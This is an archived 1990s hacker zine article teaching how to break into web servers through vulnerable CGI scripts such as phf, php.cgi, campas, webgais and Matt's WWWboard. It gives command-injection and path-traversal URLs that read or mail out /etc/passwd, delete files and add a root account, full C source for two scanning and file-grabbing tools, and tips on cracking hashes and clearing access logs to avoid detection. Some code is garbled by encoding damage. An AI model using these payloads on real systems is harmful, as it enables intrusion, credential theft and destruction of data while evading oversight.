home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / C.H.A.O.S / C.H.A.O.S. 2.sea / C.H.A.O.S. 2 / C.H.A.O.S. v2.0.rsrc / TEXT_135.txt < prev    next >
Text File  |  1998-11-17  |  12KB  |  433 lines

  1. CGI: 
  2. Fun with 
  3. EXPLOITS 
  4.  
  5. This is a great article on CGI and their exploits.  Please excuse the grammmer but it is VERY good reading.  Hitman did a great job.  Keep it up.
  6.  
  7. by
  8. Da Hitman (daemon@mac-addict.com)
  9. www.neverness.net/MaCrack
  10.  
  11. **With special help from HardCoded‚Ć**
  12.  
  13.  
  14.  
  15.  
  16. >--==--[Intro]--==--<
  17.  
  18.  
  19.       This text will primarily concern CGI ( Common Gateway Interface ) scripts/software and their many holes/bugs and how a hacker can exploit them to grab hold of the fabled passwd file and do other misc stuff 
  20.  
  21. ex;
  22.  
  23. 1.Grab the passwd file
  24. http://www.target.com/cgi-bin/query?%0a/bin/cat%20/etc/passwd   
  25.  
  26. 2.read any file on the system 
  27. http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/   
  28.  
  29. 3.Delete files on the system
  30. http://www.target.com/cgi-bin/phf?Q=%0a/bin/rm%20/home/bob/loveletter.txt
  31.  
  32. and more...
  33.  
  34.  
  35.  gr00vy?K letz get started.
  36.  
  37.  
  38.  
  39.  
  40. [CGI Holes and How to Exploit Them]
  41.  
  42.  
  43. --< PHF Exploit >---
  44.  
  45.     The most famous/outdated exploit in my opinion is the PHF(packet handler function) exploit. The PHF exploit is/was an hole in most servers that allowed u to access the passwd file without a login or pass and/or delete any file on the system.  You would  aquire the passwd file  by adding a string to the URL in your bowser like this
  46.  
  47. http://www.target.com/cgi-bin/phf?Q=%0a/bin/cat%20/etc/passwd
  48. or..
  49. http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  50. or...
  51. http://www.target.com/cgi-bin/phf?Q=%0a/bin/ypcat%20passwd
  52.  
  53. Some foreign servers are still  vulnerable to this exploit.  But usually you will get a message saying 
  54.  
  55. "The requested object does not exist on this server. The link you followed is either outdated, inaccurate,or the server has been instructed not to let you have it." 
  56.  
  57. If u get a blinking message saying "You have been caught on Candid Camera!" don‚Äôt piss in yer pants they rarely ever report u.  But if u get....
  58.  
  59. root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
  60. sysadm:ufcNtKNYj7m9I:0:0: 
  61. bin:*:2:2:Admin :/bin:
  62. sys:*:3:3:Admin :/usr/src:
  63. adm:*:4:4:Admin :/usr/adm:/sbin/sh
  64. nobody:*:65534:65534::/:
  65. ftp:*:39:39:FTP guest login:/var/ftp:
  66. dtodd:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
  67. joetëest:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh
  68.  
  69. consider yerself lucky.  You have the passwd file.  Use MacCrac or another password cracker to try to ‚Äúcrack‚Äù it. If u do actually ‚Äúcrack‚Äù the passwd file and choose to login and hax0r the box then remember to audit the logs,especially the most important log
  70.  
  71. /usr/local/etc/httpd/logs/access_log file
  72.  
  73. and if it has it...
  74.  
  75. /www/logs
  76.  
  77. because it will have logged your phf usage.
  78.  
  79.  
  80. u can also view any file on the system by typing in the broswer
  81.  
  82. http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/ls%20/   
  83.  
  84.  
  85. or if u wanna get caught real quick u can do this lil trick which adds a new user with root privs. ;)
  86.                                      
  87. don‚Äôt choose a login that the admin might notice.  try manager or sys something. ;D
  88.  ------------------------------------------------------------------------------
  89.  
  90. http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/adduser%20hitty   
  91. %20hitty%20100%20
  92.  
  93. then....
  94.  
  95. http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/chuid%20hitty%0
  96.  
  97. then...
  98.  
  99. http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/chuid%20root%500 
  100.  
  101. try telneting in and u might have w00t. :)
  102. and u might land yerself in jail if u do not be careful and realize that most admins with the PHF cgi know/been told of this old ass exploit. :)
  103.  
  104.  
  105.  
  106.  
  107. --< PHP Exploit >--
  108.  
  109.  
  110. The programs  phpscan.c and phpget.c together exploit a hole in the php.cgi code which allows remote users to read ANY file on the system that the http daemon has access too.  You use phpscan.c to scan from a list of hosts and phpget.c to retreive files from the host.
  111.  
  112. phpscan.c
  113.  
  114. ---CUT-----
  115.  
  116. /*
  117.  
  118.   phpscan.c : php.cgi vunerable server scanning program.
  119.   
  120.   Basically a modified phf scanner, by Alhambra of The Guild.
  121.   Modifications to php.cgi by so1o of The CodeZero.
  122.  
  123.   Usage:
  124.         phpscan <infile> <outfile>
  125.  
  126. */
  127.  
  128. #include <sys/stat.h>
  129. #include <sys/types.h>
  130. #include <termios.h>
  131. #include <unistd.h>
  132. #include <stdio.h>
  133. #include <fcntl.h>
  134. #include <sys/syslog.h>
  135. #include <sys/param.h>
  136. #include <sys/times.h>
  137. #ifdef LINUX
  138. #include <sys/time.h>
  139. #endif
  140. #include <unistd.h>
  141. #include <sys/socket.h>
  142. #include <netinet/in.h>
  143. #include <sys/signal.h>
  144. #include <arpa/inet.h>
  145. #include <netdb.h>
  146. int FLAG = 1;
  147. int Call(int signo)
  148. {
  149.  FLAG = 0;
  150. }
  151.  
  152. main (int argc, char *argv[])
  153. {
  154.   char host[100], buffer[1024], hosta[1024],FileBuf[8097];
  155.   int outsocket, serv_len, len,X,c,outfd;
  156.   struct hostent *nametocheck;
  157.   st√ìruct sockaddr_in serv_addr;
  158.   struct in_addr outgoing;
  159.  
  160.   char PHPMessage[]="GET cgi-bin/php.cgi?/etc/passwd\n";
  161.  
  162.   while(fgets(hosta,100,stdin))
  163.     {
  164.       if(hosta[0] == '\0')
  165.       break;
  166.       hosta[strlen(hosta) -1] = '\0';
  167.       write(1,hosta,strlen(hosta)*sizeof(char));
  168.       write(1,"\n",sizeof(char));
  169.       outsocket = socket (AF_INET, SOCK_STREAM, 0);
  170.       memset (&serv_addr, 0, sizeof (serv_addr));
  171.       serv_addr.sin_family = AF_INET;
  172.      
  173.       nametocheck = gethostbyname (hosta);
  174.  
  175.       (void *) memcpy (&outgoing.s_addr,       nametocheck->h_addr_list[0],sizeof       (outgoing.s_addr));
  176.       strcpy (host, inet_ntoa (outgoing));
  177.       serv_addr.sin_addr.s_addr = inet_addr (host);
  178.       serv_addr.sin_port = htons (80);
  179.       signal(SIGALRM,Call);
  180.       FLAG = 1;
  181.  
  182.       alarm(10);    
  183.  
  184.       X=connect (outsocket, (struct sockaddr *)       &serv_addr, sizeof (serv_addr));
  185.       alarm(0);
  186.  
  187.       if(FLAG == 1 && X==0){
  188.        write(outsocket,PHPMessage,strlen(PHPMessage)*sizeof(c√àhar));
  189.        while((X=read(outsocket,FileBuf,8096))!=0)         write(1,FileBuf,X);
  190.        }
  191.        close (outsocket);   
  192.     }
  193.   return 0;
  194. }
  195.  
  196.  
  197.  
  198. phpget.c
  199.  
  200. ---CUT---
  201.  
  202.  
  203. /*
  204.  
  205.   p1 (peewun@heterosexual.com)
  206.  
  207.   This code retrieves a file using php.cgi on a remote system.
  208.   This program is for educational purposes only.  Use it on p1.com.
  209.  
  210. */
  211.  
  212. #include <signal.h>
  213. #include <stdio.h>
  214. #include <sys/param.h>
  215. #include <sys/socket.h>
  216. #include <netinet/in.h>
  217. #include <netdb.h>
  218. #include <stdarg.h>
  219. #include <string.h>
  220.  
  221. FILE    *server;
  222. int sock;
  223.  
  224. void do_connect(char *host, char *toget);
  225. void do_connect(char *host, char *toget)
  226. {
  227.     char inbuf[1024];
  228.     struct sockaddr_in sin;
  229.     struct hostent *hp;
  230.     char *tmpbuf;
  231.  
  232.     hp = gethostbyname(host);
  233.     bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  234.     sin.sin_family = hp->h_addrtype;
  235.     sin.sin_port = htons(80);
  236.     sock = socket(AF_INET, SOCK_STREAM, 0);
  237.  
  238.     if ( -1 < connect(sock, (struct sockaddr *) &sin, sizeof(sin)) ) {
  239.        prin%tf("Made connection to %s.\n\n", host);
  240.     } else {
  241.        printf("Failed to connect to %s.\n\n",host);
  242.        exit(0);
  243.     }
  244.  
  245.     server=fdopen(sock, "a+");
  246.     fprintf(server, "GET /cgi-bin/php.cgi?%s\n",toget);
  247.     printf("Output from php.cgi request:\n\n");
  248.     while(1){
  249.        if (fgets(inbuf, 1024, server) == NULL)
  250.           break;
  251.        printf(inbuf);
  252.     }
  253.  
  254. }                       
  255. main(int argc,char **argv)
  256. {
  257.     printf("\nThis program retrieves files off a remote system using php.cgi.\n");
  258.     printf("Author: p1 - peewun@heterosexuÀùal.com\n");
  259.     if (argc < 3) {
  260.       printf("Usage: %s <domain> <path and file>\n",argv[0]);
  261.       printf("   Ex: %s www.p1.com /etc/passwd\n",argv[0]);
  262.     }
  263.     else {
  264.       char *buffer;
  265.       (char *)"exit";
  266.       do_connect(argv[1],argv[2]);
  267.       exit(1);
  268.     }
  269. }
  270.  
  271. ---CUT---
  272.  
  273. or you can just do...
  274.  
  275. http://www.target.com/cgi-bin/php.cgi?../../../etc/passwd
  276.  
  277. :)
  278.  
  279.  
  280.  
  281. --< Webgais >--
  282.  
  283.  
  284.     WebGais is an interface to the GAIS search tool.  The main utility is webgais and does the interfacing with the GAIS search tool.
  285. 
  286. Here‚Äôs how we would sploit this
  287.  
  288.  
  289. h1tman@public$ telnet target.com 80
  290. Trying 206.X.5.X...
  291. Connected to target.com.
  292. Escape character is '^]'.
  293. POST /cgi-bin/webgais HTTP/1.0
  294. Content-length: 85 (replace wit exploit string)
  295.  
  296. query=';mail+hitty\@n2computers.com</etc/passwd;echo'&output=subject&domain=paragraph
  297.  
  298.  
  299.  
  300.  
  301. --< Campas >--
  302.  
  303.     The campus CGI is very similar to the PHF.  Using it can allow u to view any file on the system.  Here‚Äôs how j00 would sploit da mutha. ;D
  304.  
  305.  
  306.  
  307. h1tman@public$ telnet target.com 80
  308. Trying 200.xx.xx.xx...
  309. Connected to target.com
  310. Escape character is '^]'.
  311. GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a
  312. <PRE>
  313. root:JPfsdh1NAjIUw:0:0:Special admin sign in:/:/bin/csh
  314. sysadm:ufcNtKNYj7m9I:0:0: 
  315. bin:*:2:2:Admin :/bin:
  316. sys:*:3:3:Admin :/usr/src:
  317. adm:*:4:4:Admin :/usr/adm:/sbin/sh
  318. nobody:*:65534:65534::/:
  319. ftp:*:39:39:FTP guest login:/var/ftp:
  320. joeblow:yYn1sav8tKzOI:101:100:John Todd:/home/dtodd:/sbin/sh
  321. test:0IeSH6HfEEIs2:102:100::/home/joetest:/usr/bin/restsh
  322.  
  323. or in your bowser type
  324.  
  325.  http://www.target.com/‚áßcgi-bin/campas?%0a/bin/cat%0a/etc/passwd
  326.  
  327.  
  328.  
  329. --< info2www >--
  330.  
  331.     The info2www CGI script changes GNU files to ‚Äúinfo‚Äù files but  doesn‚Äôt check
  332. user-provided filenames before opening them thus allowing us to open the system‚Äôs files and execute shell commands.
  333.  
  334. ex;
  335.  
  336. $ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami </etc/passwd|)'
  337. $
  338. You have new mail.
  339. $
  340.  
  341. oh jinkies!it just mailed us the passwd file! :)
  342.  
  343.  
  344. --< Matt‚Äôs  WWWboard script >--
  345.  
  346.      Matt should stop making these scripts, really no joke.  He is like handing away a timebomb to a sys admin.  Lets take a look at one of his exploitable scripts.  (lets not mention the  textcounter.pl script for his sake.)
  347.  
  348.  
  349. [WWWboard Script]
  350.  
  351.     This script is very easily exploitable.  By default you have ta put the passwd.txt file in the same directory as your wwwboard.  So what does that mean?It means that itz sploitin time!  Here‚Äôs how we do it
  352.  
  353. change
  354.  
  355. http://www.dumbassguywhohasmattscript.com/wwwboard/
  356.  
  357. to...
  358.  
  359. http://www.dumbassguywhohasmattscript.com/wwwboard/passwd.txt
  360.  
  361. you should very well get
  362.  
  363. dumbguy:ufcNtKNYj7m9I
  364.  
  365. All we do know is add some stuff behind the encrypted passwd file. The things i am adding is just the User ID, Group ID, home dir, shell, etc.  This is because we are gonna run a passwd cracker on it and since matt uses the same encrytpion scheme that is vulnerable to the brute force dictionary attack.  (i told u he is a dumbass)
  366.  
  367. dumbguy:ufcNtKNYj7m9I:101:100:Dumb Ass:/home/dass:/sbin/sh
  368.  
  369. run the passwd cracker and walla u have the password!  Now u have access to delete/edit files on the victim‚Äôs WWWboard!
  370.  
  371.  
  372.  
  373. --< NPH-TEST CGI >--
  374.  
  375. This script can be exploited  to obtain a file listing of any directory on the server.  Here‚Äôs an example how we would exploit this script.
  376.  
  377. http://www.target.com/cgi-bin/nph-test-cgi?/*
  378.  
  379.  
  380.  
  381. --==--[The Top 5 Exploitable CGI Scripts/Programs]--==--
  382.  
  383.     I rounded up all the vulnerable cgi scripts/programs and decided which was my fave and the most popular(now or at the time) and i posted them down below. :)
  384.  
  385. PHF Exploit:
  386.   http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  387.  
  388. TEST-CGI Exploit:
  389.   http://www.target.com/cgi-bi0n/test-cgi?\help&0a/bin/cat%20/etc/passwd
  390.  
  391. CAMPAS Exploit:
  392.   http://www.target.com/cgi-bin/campas?%0a/bin/cat%0a/etc/passwd
  393.  
  394. HTMLSCRIPT Exploit:
  395.   http://www.target.com/cgi-bin/htmlscript?../../../../etc/passwd
  396.  
  397.  
  398. PHP Exploit:
  399.  
  400. grab da C programs up dere and compile on a UN*X OS.  Compile by typing 
  401. gcc -o phpscan phpscan.c      or       cc o- phpscan phpscan.c
  402.  
  403.  
  404. --==--[Other CGI Scripts/Programs]--==--
  405.  
  406.     Eheh these are other programs/scripts that i am to lazy to try to detail.  i will just show how to exploit. ;P
  407.  
  408.  
  409. --< Handler >--
  410.  
  411. telnet target.com 80
  412. GET1 /cgi-bin/handler/whoyodaddy;cat   /etc/passwd|?data=Download
  413. HTTP/1.0
  414.  
  415.  
  416. --< View - Source >--
  417.  
  418. http://www.target.com/cgi-bin/view-source?../../../../../../../etc/passwd
  419.  
  420.  
  421. --==--[Conclusion]--==--
  422.  
  423.     Hopefully this small lame file gave u some information on each CGI program and how to exploit it.  I rather have u to have some knowledge rather than running xCGI on a site and not knowing what the hell campas/php/webgais,etc is or does. ;D
  424. if i left sumtin out or maybe missed an important exploit,KINDLY email me and tell me of da prob. ;)
  425.  
  426.  
  427. -mad werd
  428.  
  429.  
  430. Great job Hitman.
  431.  
  432.  
  433.